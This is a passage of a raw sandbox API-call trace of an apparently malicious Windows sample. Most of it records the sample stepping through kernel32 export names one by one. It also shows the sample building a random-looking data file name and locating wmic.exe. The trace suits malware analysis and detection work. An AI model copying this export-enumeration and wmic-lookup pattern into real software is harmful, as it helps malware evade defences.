lpString1=0x34eac0, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.180] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.180] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.180] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.180] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.180] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.180] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.180] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.180] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.180] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.180] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.180] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.181] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.181] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.181] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.181] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.181] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.181] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.181] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.181] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.181] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.181] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.181] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.181] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.181] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.181] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.181] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.181] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.181] lstrcpyA (in: lpString1=0x34eac0, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.182] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.182] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.182] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.182] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.182] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.182] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.182] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.182] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.182] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.182] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.182] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.182] lstrcpyA (in: lpString1=0x34eac0, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.182] lstrcpyW (in: lpString1=0x2f70000, lpString2="1234567890qwertyuiopasdfghjklzxcvbnm" | out: lpString1="1234567890qwertyuiopasdfghjklzxcvbnm") returned="1234567890qwertyuiopasdfghjklzxcvbnm" [0055.183] lstrcpyW (in: lpString1=0x2ac0000, lpString2="wevkgn5" | out: lpString1="wevkgn5") returned="wevkgn5" [0055.183] lstrcatW (in: lpString1="wevkgn5", lpString2=".dat" | out: lpString1="wevkgn5.dat") returned="wevkgn5.dat" [0055.183] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.183] VirtualFree (lpAddress=0x2f70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.183] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.184] GetSystemDirectoryW (in: lpBuffer=0x34fa50, uSize=0x100 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0055.184] lstrcatW (in: lpString1="C:\\Windows\\system32", lpString2="\\wbem\\wmic.exe" | out: lpString1="C:\\Windows\\system32\\wbem\\wmic.exe") returned="C:\\Windows\\system32\\wbem\\wmic.exe" [0055.184] lstrcatW (in: lpString1="C:\\m\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\") returned="C:\\m\\..\\" [0055.184] lstrlenA (lpString="kernel32.dll") returned 12 [0055.184] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.184] lstrcpyA (in: lpString1=0x34ed04, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.184] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.184] lstrcpyA (in: lpString1=0x34ed04, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.184] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.184] lstrcpyA (in: lpString1=0x34ed04, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.184] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.184] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.185] lstrlenA (lpString="ADDATOMA") returned 8 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.185] lstrlenA (lpString="ADDATOMW") returned 8 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.185] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.185] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.185] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.185] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.185] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.185] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.185] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.185] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.185] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.185] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.185] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.185] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.185] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.185] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.185] lstrcpyA (in: lpString1=0x34ed04, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.185] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.186] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.186] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.186] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.186] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.186] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.186] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.186] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.186] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.186] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.186] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.186] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.186] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.186] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.186] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.186] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.186] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.186] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.187] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.187] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.187] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.187] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.187] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.187] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.187] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.187] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.187] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.187] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.187] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.187] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.187] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.187] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.187] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.187] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.187] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.188] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.188] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.188] lstrlenA (lpString="BEEP") returned 4 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.188] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.188] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.188] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.188] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.188] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.188] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.188] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.188] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.188] lstrcpyA (in: lpString1=0x34ed04, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.188] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.189] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.189] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.189] lstrlenA (lpString="CANCELIO") returned 8 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.189] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.189] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.189] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.189] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.189] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.189] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.189] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.189] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.189] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.189] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.189] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.189] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") 